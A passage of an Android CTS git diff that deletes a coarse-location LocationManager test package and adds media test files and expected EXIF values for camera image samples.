-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.location2.cts" />
-        <option name="runtime-hint" value="10m30s" />
-    </test>
-
-</configuration>
diff --git a/tests/tests/location2/OWNERS b/tests/tests/location2/OWNERS
deleted file mode 100644
index e875815..0000000
--- a/tests/tests/location2/OWNERS
+++ /dev/null
@@ -1,5 +0,0 @@
-# Bug component: 32850
-wyattriley@google.com
-patrickor@google.com
-aadmal@google.com
-sooniln@google.com
diff --git a/tests/tests/location2/README.txt b/tests/tests/location2/README.txt
deleted file mode 100644
index 92241eb..0000000
--- a/tests/tests/location2/README.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Location CTS tests that require "android.permission.ACCESS_COARSE_LOCATION", but not
-"android.permission.ACCESS_FINE_LOCATION". Note you must enable "Allow mock locations"
-at Settings > Developer options.
diff --git a/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java b/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java
deleted file mode 100644
index 8f8da53..0000000
--- a/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java
+++ /dev/null
@@ -1,488 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location2.cts;
-
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.location.Criteria;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.os.Bundle;
-import android.os.HandlerThread;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.List;
-
-/**
- * Requires the permissions
- * android.permission.ACCESS_MOCK_LOCATION to mock provider
- * android.permission.ACCESS_COARSE_LOCATION to access network provider
- * android.permission.ACCESS_LOCATION_EXTRA_COMMANDS to send extra commands to provider
- */
-public class LocationManagerTest extends InstrumentationTestCase {
-
-    public static final String LOG_TAG = "LocationManagerTest";
-
-    private static final long TEST_TIME_OUT_MS = 10 * 1000;
-
-    private static final double LAT = 10.0;
-    private static final double LNG = 40.0;
-    private static final double FUDGER_DELTA = 0.2;
-
-    private LocationManager mManager;
-
-    private Context mContext;
-
-    private PendingIntent mPendingIntent;
-
-    private TestIntentReceiver mIntentReceiver;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
-
-        mManager = (LocationManager) mContext.getSystemService(Context.LOCATION_SERVICE);
-
-        setAsMoskLocationProvider(true);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        setAsMoskLocationProvider(false);
-        super.tearDown();
-    }
-
-    public void testGetGpsProvider_notAllowed() {
-        doTestGetFineProvider_notAllowed(LocationManager.GPS_PROVIDER);
-    }
-
-    public void testGetFineProvider_notAllowed() {
-        doTestGetFineProvider_notAllowed("my fine provider name");
-    }
-
-    private void doTestGetFineProvider_notAllowed(String providerName) {
-        addTestProvider(providerName, Criteria.ACCURACY_FINE, false, true, false);
-
-        try {
-            mManager.getProvider(providerName);
-            fail("LocationManager.getProvider() did not throw SecurityException as expected");
-        } catch (SecurityException expected) {
-        } finally {
-            removeTestProvider(providerName);
-        }
-    }
-
-    /**
-     * Work around b/11446702 by clearing the test provider before removing it
-     */
-    private void removeTestProvider(String providerName) {
-        mManager.clearTestProviderEnabled(providerName);
-        mManager.removeTestProvider(providerName);
-    }
-
-    public void testGetNetworkProvider_allowed() {
-        doTestGetCoarseProvider_allowed(LocationManager.NETWORK_PROVIDER);
-    }
-
-    public void testGetCoarseProvider_allowed() {
-        doTestGetCoarseProvider_allowed("my coarse provider name");
-    }
-
-    public void doTestGetCoarseProvider_allowed(String providerName) {
-        try {
-            addTestProvider(providerName, Criteria.ACCURACY_COARSE, true, false, true);
-            assertNotNull(mManager.getProvider(providerName));
-        } finally {
-            removeTestProvider(providerName);
-        }
-    }
-
-    public void testGetNetworkProviderLocationUpdates_withIntent() {
-        doTestGetLocationUpdates_withIntent(LocationManager.NETWORK_PROVIDER);
-    }
-
-    public void testGetNetworkProviderLocationUpdates_withListener() {
-        doTestGetLocationUpdates_withListener(LocationManager.NETWORK_PROVIDER);
-    }
-
-    public void testGetCoarseLocationUpdates_withIntent() {
-        doTestGetLocationUpdates_withIntent("my coarse provider name");
-    }
-
-    public void testGetCoarseLocationUpdates_withListener() {
-        doTestGetLocationUpdates_withListener("my coarse provider name");
-    }
-
-    public void testGnssProvidedClock() throws Exception {
-        String providerName = LocationManager.GPS_PROVIDER;
-        try {
-            addTestProvider(providerName, Criteria.ACCURACY_COARSE, true,
-                    false, true);
-            Location location = new Location(providerName);
-            long elapsed = SystemClock.elapsedRealtimeNanos();
-            location.setLatitude(0);
-            location.setLongitude(0);
-            location.setAccuracy(0);
-            location.setElapsedRealtimeNanos(elapsed);
-            location.setTime(1);
-            mManager.setTestProviderLocation(providerName, location);
-            assertTrue(SystemClock.currentGnssTimeClock().millis() < 1000);
-
-            location.setTime(java.lang.System.currentTimeMillis());
-            location.setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos());
-            mManager.setTestProviderLocation(providerName, location);
-            Thread.sleep(200);
-            long clockms = SystemClock.currentGnssTimeClock().millis();
-            assertTrue(System.currentTimeMillis() - clockms < 1000);
-        } finally {
-            removeTestProvider(providerName);
-        }
-    }
-
-
-    private void doTestGetLocationUpdates_withIntent(String providerName) {
-        try {
-            addTestProvider(providerName, Criteria.ACCURACY_COARSE, true, false, true);
-            registerIntentReceiver();
-
-            mManager.requestLocationUpdates(providerName, 0, 0, mPendingIntent);
-            updateLocation(providerName, LAT, LNG);
-            waitForReceiveBroadcast();
-
-            assertNotNull(mIntentReceiver.getLastReceivedIntent());
-            final Location location = mManager.getLastKnownLocation(providerName);
-            assertEquals(providerName, location.getProvider());
-
-            assertEquals(3000.0f, location.getAccuracy());
-            assertEquals(LAT, location.getLatitude(), FUDGER_DELTA);
-            assertEquals(LNG, location.getLongitude(), FUDGER_DELTA);
-
-            mManager.removeUpdates(mPendingIntent);
-        } finally {
-            removeTestProvider(providerName);
-        }
-    }
-
-    private void doTestGetLocationUpdates_withListener(String providerName) {
-        try {
-            addTestProvider(providerName, Criteria.ACCURACY_COARSE, true, false, true);
-
-            MockLocationListener listener = new MockLocationListener();
-            HandlerThread handlerThread = new HandlerThread("testLocationUpdates for "
-                    + providerName);
-            handlerThread.start();
-
-            mManager.requestLocationUpdates(
-                    providerName, 0, 0, listener, handlerThread.getLooper());
-            updateLocation(providerName, LAT, LNG);
-
-            assertTrue(listener.hasCalledOnLocationChanged(TEST_TIME_OUT_MS));
-            Location location = listener.getLocation();
-            assertEquals(providerName, location.getProvider());
-
-            assertEquals(3000.0f, location.getAccuracy());
-            assertEquals(LAT, location.getLatitude(), FUDGER_DELTA);
-            assertEquals(LNG, location.getLongitude(), FUDGER_DELTA);
-
-            mManager.removeUpdates(listener);
-        } finally {
-            removeTestProvider(providerName);
-        }
-    }
-
-    /**
-     * Helper method to add a test provider with given name.
-     */
-    private void addTestProvider(final String providerName, int accuracy, boolean requiresNetwork,
-            boolean requiresSatellite, boolean requiresCell) {
-        mManager.addTestProvider(providerName,
-                requiresNetwork,
-                requiresSatellite,
-                requiresCell,
-                false, // hasMonetaryCost,
-                false, // supportsAltitude,
-                false, // supportsSpeed,
-                false, // supportsBearing,
-                Criteria.POWER_MEDIUM, // powerRequirement
-                accuracy); // accuracy
-        mManager.setTestProviderEnabled(providerName, true);
-    }
-
-    public void testGetProviders() {
-        List<String> providers = mManager.getProviders(false);
-
-        assertFalse(hasProvider(providers, LocationManager.PASSIVE_PROVIDER));
-        assertFalse(hasProvider(providers, LocationManager.GPS_PROVIDER));
-    }
-
-    private boolean hasProvider(List<String> providers, String providerName) {
-        for (String provider : providers) {
-            if (provider != null && provider.equals(providerName)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    @AppModeFull
-    public void testSendExtraCommand() {
-        addTestProvider(LocationManager.NETWORK_PROVIDER, Criteria.ACCURACY_COARSE, true, false, true);
-        addTestProvider(LocationManager.GPS_PROVIDER, Criteria.ACCURACY_FINE, false, true, false);
-
-        try {
-            mManager.sendExtraCommand(LocationManager.GPS_PROVIDER, "unknown", new Bundle());
-            fail("Should have failed to send a command to the gps provider");
-        } catch (SecurityException expected) {
-        } finally {
-            removeTestProvider(LocationManager.GPS_PROVIDER);
-            removeTestProvider(LocationManager.NETWORK_PROVIDER);
-        }
-    }
-
-    private void registerIntentReceiver() {
-        String intentKey = "LocationManagerTest";
-        Intent proximityIntent = new Intent(intentKey);
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 0, proximityIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
-        mIntentReceiver = new TestIntentReceiver(intentKey);
-        mContext.registerReceiver(mIntentReceiver, mIntentReceiver.getFilter());
-    }
-
-    /**
-     * Blocks until receive intent notification or time out.
-     */
-    private void waitForReceiveBroadcast() {
-        synchronized (mIntentReceiver) {
-            try {
-                mIntentReceiver.wait(TEST_TIME_OUT_MS);
-            } catch (InterruptedException e) {
-                fail("Interrupted while waiting for intent: " + e);
-            }
-        }
-    }
-
-    private void updateLocation(final String providerName, final double latitude,
-            final double longitude) {
-        Location nlocation = new Location(providerName);
-        nlocation.setLatitude(latitude);
-        nlocation.setLongitude(longitude);
-        nlocation.setAccuracy(3000.0f);
-        nlocation.setTime(java.lang.System.currentTimeMillis());
-        nlocation.setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos());
-
-        Location location = new Location(providerName);
-        location.setLatitude(latitude);
-        location.setLongitude(longitude);
-        location.setAccuracy(1.0f);
-        location.setTime(java.lang.System.currentTimeMillis());
-        location.setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos());
-
-        location.setExtraLocation(Location.EXTRA_NO_GPS_LOCATION, nlocation);
-
-        mManager.setTestProviderLocation(providerName, location);
-    }
-
-    private void setAsMoskLocationProvider(boolean enable) {
-        StringBuilder command = new StringBuilder();
-        command.append("appops set ");
-        command.append(getInstrumentation().getContext().getPackageName());
-        command.append(" android:mock_location ");
-        command.append(enable ? "allow" : "deny");
-
-        ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
-                .executeShellCommand(command.toString());
-
-        InputStream is = new FileInputStream(pfd.getFileDescriptor());
-        try {
-            final byte[] buffer = new byte[8192];
-            while ((is.read(buffer)) != -1);
-        } catch (IOException e) {
-            Log.e(LOG_TAG, "Error managing mock locaiton app", e);
-        }
-    }
-
-    /**
-     * Helper class that receives a proximity intent and notifies the main class
-     * when received
-     */
-    private static class TestIntentReceiver extends BroadcastReceiver {
-        private String mExpectedAction;
-
-        private Intent mLastReceivedIntent;
-
-        public TestIntentReceiver(String expectedAction) {
-            mExpectedAction = expectedAction;
-            mLastReceivedIntent = null;
-        }
-
-        public IntentFilter getFilter() {
-            IntentFilter filter = new IntentFilter(mExpectedAction);
-            return filter;
-        }
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if (intent != null && mExpectedAction.equals(intent.getAction())) {
-                synchronized (this) {
-                    mLastReceivedIntent = intent;
-                    notify();
-                }
-            }
-        }
-
-        public Intent getLastReceivedIntent() {
-            return mLastReceivedIntent;
-        }
-
-        public void clearReceivedIntents() {
-            mLastReceivedIntent = null;
-        }
-    }
-
-    private static class MockLocationListener implements LocationListener {
-        private String mProvider;
-        private int mStatus;
-        private Location mLocation;
-        private Object mStatusLock = new Object();
-        private Object mLocationLock = new Object();
-        private Object mLocationRequestLock = new Object();
-
-        private boolean mHasCalledOnLocationChanged;
-
-        private boolean mHasCalledOnProviderDisabled;
-
-        private boolean mHasCalledOnProviderEnabled;
-
-        private boolean mHasCalledOnStatusChanged;
-
-        private boolean mHasCalledRequestLocation;
-
-        public void reset(){
-            mHasCalledOnLocationChanged = false;
-            mHasCalledOnProviderDisabled = false;
-            mHasCalledOnProviderEnabled = false;
-            mHasCalledOnStatusChanged = false;
-            mHasCalledRequestLocation = false;
-            mProvider = null;
-            mStatus = 0;
-        }
-
-        /**
-         * Call to inform listener that location has been updates have been requested
-         */
-        public void setLocationRequested() {
-            synchronized (mLocationRequestLock) {
-                mHasCalledRequestLocation = true;
-                mLocationRequestLock.notify();
-            }
-        }
-
-        public boolean hasCalledLocationRequested(long timeout) throws InterruptedException {
-            synchronized (mLocationRequestLock) {
-                if (timeout > 0 && !mHasCalledRequestLocation) {
-                    mLocationRequestLock.wait(timeout);
-                }
-            }
-            return mHasCalledRequestLocation;
-        }
-
-        /**
-         * Check whether onLocationChanged() has been called. Wait up to timeout milliseconds
-         * for the callback.
-         * @param timeout Maximum time to wait for the callback, 0 to return immediately.
-         */
-        public boolean hasCalledOnLocationChanged(long timeout) {
-            synchronized (mLocationLock) {
-                if (timeout > 0 && !mHasCalledOnLocationChanged) {
-                    try {
-                        mLocationLock.wait(timeout);
-                    } catch (InterruptedException e) {
-                        fail("Interrupted while waiting for location change: " + e);
-                    }
-                }
-            }
-            return mHasCalledOnLocationChanged;
-        }
-
-        public boolean hasCalledOnProviderDisabled() {
-            return mHasCalledOnProviderDisabled;
-        }
-
-        public boolean hasCalledOnProviderEnabled() {
-            return mHasCalledOnProviderEnabled;
-        }
-
-        public boolean hasCalledOnStatusChanged(long timeout) throws InterruptedException {
-            synchronized(mStatusLock) {
-                // wait(0) would wait forever
-                if (timeout > 0 && !mHasCalledOnStatusChanged) {
-                    mStatusLock.wait(timeout);
-                }
-            }
-            return mHasCalledOnStatusChanged;
-        }
-
-        public void onLocationChanged(Location location) {
-            mLocation = location;
-            synchronized (mLocationLock) {
-                mHasCalledOnLocationChanged = true;
-                mLocationLock.notify();
-            }
-        }
-
-        public void onProviderDisabled(String provider) {
-            mHasCalledOnProviderDisabled = true;
-        }
-
-        public void onProviderEnabled(String provider) {
-            mHasCalledOnProviderEnabled = true;
-        }
-
-        public void onStatusChanged(String provider, int status, Bundle extras) {
-            mProvider = provider;
-            mStatus = status;
-            synchronized (mStatusLock) {
-                mHasCalledOnStatusChanged = true;
-                mStatusLock.notify();
-            }
-        }
-
-        public String getProvider() {
-            return mProvider;
-        }
-
-        public int getStatus() {
-            return mStatus;
-        }
-
-        public Location getLocation() {
-            return mLocation;
-        }
-    }
-}
diff --git a/tests/tests/media/res/raw/MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps.trp b/tests/tests/media/res/raw/MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps.trp
deleted file mode 100644
index e39e5c4..0000000
--- a/tests/tests/media/res/raw/MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps.trp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps_Audio_Only.ts b/tests/tests/media/res/raw/MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps_Audio_Only.ts
new file mode 100644
index 0000000..4b4da9f
--- /dev/null
+++ b/tests/tests/media/res/raw/MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps_Audio_Only.ts
Binary files differ
diff --git a/tests/tests/media/res/raw/png_with_exif_byte_order_ii.png b/tests/tests/media/res/raw/png_with_exif_byte_order_ii.png
new file mode 100644
index 0000000..082de21
--- /dev/null
+++ b/tests/tests/media/res/raw/png_with_exif_byte_order_ii.png
Binary files differ
diff --git a/tests/tests/media/res/raw/png_without_exif.png b/tests/tests/media/res/raw/png_without_exif.png
new file mode 100644
index 0000000..f3defab
--- /dev/null
+++ b/tests/tests/media/res/raw/png_without_exif.png
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_1920x1080_30fps_dvhe_04.mp4 b/tests/tests/media/res/raw/video_dovi_1920x1080_30fps_dvhe_04.mp4
new file mode 100644
index 0000000..58f0f5b
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_1920x1080_30fps_dvhe_04.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvav_09.mp4 b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvav_09.mp4
new file mode 100755
index 0000000..0c754d6
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvav_09.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_05.mp4 b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_05.mp4
new file mode 100644
index 0000000..894f308
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_05.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_08.mp4 b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_08.mp4
new file mode 100755
index 0000000..9cc7925
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_08.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10.mp4 b/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10.mp4
new file mode 100644
index 0000000..aa0f7b2
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10_2.mp4 b/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10_2.mp4
new file mode 100644
index 0000000..38e791f
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10_2.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_0.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_0.mp4
new file mode 100644
index 0000000..73a7309
--- /dev/null
+++ b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_0.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_180.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_180.mp4
new file mode 100644
index 0000000..7c6a927
--- /dev/null
+++ b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_180.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_270.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_270.mp4
new file mode 100644
index 0000000..684ba40
--- /dev/null
+++ b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_270.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_90.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_90.mp4
new file mode 100644
index 0000000..921a58f
--- /dev/null
+++ b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_90.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/webp_with_exif.webp b/tests/tests/media/res/raw/webp_with_exif.webp
new file mode 100644
index 0000000..20706bb
--- /dev/null
+++ b/tests/tests/media/res/raw/webp_with_exif.webp
Binary files differ
diff --git a/tests/tests/media/res/values/exifinterface.xml b/tests/tests/media/res/values/exifinterface.xml
index 11c2efd..1fcd987 100644
--- a/tests/tests/media/res/values/exifinterface.xml
+++ b/tests/tests/media/res/values/exifinterface.xml
@@ -16,18 +16,24 @@
 
 <resources>
     <array name="exifbyteorderii_jpg">
+        <!--Whether thumbnail exists-->
         <item>true</item>
         <item>3500</item>
         <item>6265</item>
         <item>512</item>
         <item>288</item>
         <item>true</item>
+        <!--Whether GPS LatLong information exists-->
         <item>false</item>
         <item />
         <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>160</item>
+        <item>8</item>
         <item>SAMSUNG</item>
         <item>SM-N900S</item>
         <item>2.200</item>
@@ -53,19 +59,69 @@
         <item />
         <item />
     </array>
-    <array name="exifbyteordermm_jpg">
-        <item>false</item>
-        <item />
-        <item />
-        <item>0</item>
-        <item>0</item>
-        <item>false</item>
+    <array name="exifbyteorderii_standalone">
+        <!--Whether thumbnail exists-->
         <item>true</item>
-        <item>572</item>
+        <item>3494</item>
+        <item>6265</item>
+        <item>512</item>
+        <item>288</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>154</item>
+        <item>8</item>
+        <item>SAMSUNG</item>
+        <item>SM-N900S</item>
+        <item>2.200</item>
+        <item>2016:01:29 18:32:27</item>
+        <item>0.033</item>
+        <item>0</item>
+        <item>413/100</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>480</item>
+        <item>640</item>
+        <item>50</item>
+        <item>6</item>
+        <item>0</item>
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+    </array>
+    <array name="exifbyteordermm_jpg">
+        <!--Whether thumbnail exists-->
+        <item>false</item>
+        <item />
+        <item />
+        <item>0</item>
+        <item>0</item>
+        <item>false</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>true</item>
+        <item>584</item>
         <item>24</item>
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>414</item>
+        <item>4</item>
         <item>LGE</item>
         <item>Nexus 5</item>
         <item>2.400</item>
@@ -91,19 +147,69 @@
         <item />
         <item />
     </array>
-    <array name="lg_g4_iso_800_dng">
-        <item>true</item>
+    <array name="exifbyteordermm_standalone">
+        <!--Whether thumbnail exists-->
+        <item>false</item>
         <item>0</item>
+        <item>0</item>
+        <item>0</item>
+        <item>0</item>
+        <item>false</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>true</item>
+        <item>578</item>
+        <item>24</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>408</item>
+        <item>4</item>
+        <item>LGE</item>
+        <item>Nexus 5</item>
+        <item>2.400</item>
+        <item>2016:01:29 15:44:58</item>
+        <item>0.017</item>
+        <item>0</item>
+        <item>3970/1000</item>
+        <item>0/1000</item>
+        <item>0</item>
+        <item>1970:01:01</item>
+        <item>0/1,0/1,0/10000</item>
+        <item>N</item>
+        <item>0/1,0/1,0/10000</item>
+        <item>E</item>
+        <item>GPS</item>
+        <item>00:00:00</item>
+        <item>0</item>
+        <item>0</item>
+        <item>146</item>
+        <item>0</item>
+        <item>0</item>
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+    </array>
+    <array name="lg_g4_iso_800_dng">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>12570</item>
         <item>15179</item>
         <item>256</item>
         <item>144</item>
         <item>true</item>
+        <!--Whether GPS LatLong information exists-->
         <item>true</item>
         <item>12486</item>
         <item>24</item>
         <item>53.834507</item>
         <item>10.69585</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>102</item>
+        <item>4</item>
         <item>LGE</item>
         <item>LG-H815</item>
         <item>1.800</item>
@@ -130,18 +236,24 @@
         <item>10067</item>
     </array>
     <array name="lg_g4_iso_800_jpg">
+        <!--Whether thumbnail exists-->
         <item>false</item>
         <item />
         <item />
         <item />
         <item />
         <item />
+        <!--Whether GPS LatLong information exists-->
         <item>true</item>
-        <item>1662</item>
+        <item>1692</item>
         <item>24</item>
         <item>53.834507</item>
         <item>10.69585</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>84</item>
+        <item>4</item>
         <item>LGE</item>
         <item>LG-H815</item>
         <item>1.800</item>
@@ -168,18 +280,24 @@
         <item>13197</item>
     </array>
     <array name="volantis_jpg">
+        <!--Whether thumbnail exists-->
         <item>false</item>
         <item />
         <item />
         <item />
         <item />
         <item />
+        <!--Whether GPS LatLong information exists-->
         <item>true</item>
-        <item>3143</item>
+        <item>3155</item>
         <item>24</item>
         <item>37.423</item>
         <item>-122.162</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>210</item>
+        <item>4</item>
         <item>htc</item>
         <item>Nexus 9</item>
         <item>1.2904</item>
@@ -206,18 +324,24 @@
         <item />
     </array>
     <array name="sony_rx_100_arw">
+        <!--Whether thumbnail exists-->
         <item>true</item>
         <item>32176</item>
         <item>7423</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
+        <!--Whether GPS LatLong information exists-->
         <item>false</item>
         <item />
         <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>32104</item>
+        <item>5</item>
         <item>SONY</item>
         <item>DSC-RX100M3</item>
         <item>2.0000</item>
@@ -244,18 +368,24 @@
         <item />
     </array>
     <array name="canon_g7x_cr2">
+        <!--Whether thumbnail exists-->
         <item>true</item>
         <item>22528</item>
         <item>14161</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
+        <!--Whether GPS LatLong information exists-->
         <item>false</item>
         <item />
         <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>288</item>
+        <item>6</item>
         <item>Canon</item>
         <item>Canon PowerShot G7 X</item>
         <item>8.0000</item>
@@ -282,18 +412,24 @@
         <item>8192</item>
     </array>
     <array name="fuji_x20_raf">
+        <!--Whether thumbnail exists-->
         <item>true</item>
         <item>2080</item>
         <item>9352</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
+        <!--Whether GPS LatLong information exists-->
         <item>false</item>
         <item />
         <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>318</item>
+        <item>9</item>
         <item>FUJIFILM</item>
         <item>X20</item>
         <item>3.6000</item>
@@ -320,18 +456,24 @@
         <item />
     </array>
     <array name="nikon_1aw1_nef">
+        <!--Whether thumbnail exists-->
         <item>true</item>
-        <item>0</item>
+        <item>963072</item>
         <item>57600</item>
         <item>160</item>
         <item>120</item>
         <item>false</item>
+        <!--Whether GPS LatLong information exists-->
         <item>true</item>
         <item>962700</item>
         <item>24</item>
         <item>53.83652</item>
         <item>10.69828</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>336</item>
+        <item>18</item>
         <item>NIKON CORPORATION</item>
         <item>NIKON 1 AW1</item>
         <item>5.6000</item>
@@ -358,18 +500,24 @@
         <item>2048</item>
     </array>
     <array name="nikon_p330_nrw">
+        <!--Whether thumbnail exists-->
         <item>true</item>
         <item>32791</item>
         <item>4875</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
+        <!--Whether GPS LatLong information exists-->
         <item>true</item>
         <item>1620</item>
         <item>24</item>
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>298</item>
+        <item>6</item>
         <item>NIKON</item>
         <item>COOLPIX P7800</item>
         <item>2.0000</item>
@@ -396,18 +544,24 @@
         <item />
     </array>
     <array name="pentax_k5_pef">
+        <!--Whether thumbnail exists-->
         <item>true</item>
         <item>103520</item>
         <item>6532</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
+        <!--Whether GPS LatLong information exists-->
         <item>false</item>
         <item />
         <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>266</item>
+        <item>20</item>
         <item>PENTAX</item>
         <item>PENTAX K-5</item>
         <item>8.0000</item>
@@ -434,18 +588,24 @@
         <item />
     </array>
     <array name="olympus_e_pl3_orf">
+        <!--Whether thumbnail exists-->
         <item>true</item>
         <item>19264</item>
         <item>3698</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
+        <!--Whether GPS LatLong information exists-->
         <item>false</item>
         <item />
         <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>2148</item>
+        <item>24</item>
         <item>OLYMPUS IMAGING CORP.</item>
         <item>E-PL3</item>
         <item>8.0000</item>
@@ -472,18 +632,24 @@
         <item />
     </array>
     <array name="panasonic_gm5_rw2">
+        <!--Whether thumbnail exists-->
         <item>true</item>
         <item>18944</item>
         <item>6435</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
+        <!--Whether GPS LatLong information exists-->
         <item>false</item>
         <item />
         <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>874</item>
+        <item>10</item>
         <item>Panasonic</item>
         <item>DMC-GM5</item>
         <item>8.0000</item>
@@ -510,18 +676,24 @@
         <item />
     </array>
     <array name="samsung_nx3000_srw">
+        <!--Whether thumbnail exists-->
         <item>true</item>
         <item>317560</item>
         <item>3059</item>
         <item>160</item>
         <item>120</item>
         <item>true</item>
+        <!--Whether GPS LatLong information exists-->
         <item>false</item>
         <item />
         <item />
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>98</item>
+        <item>8</item>
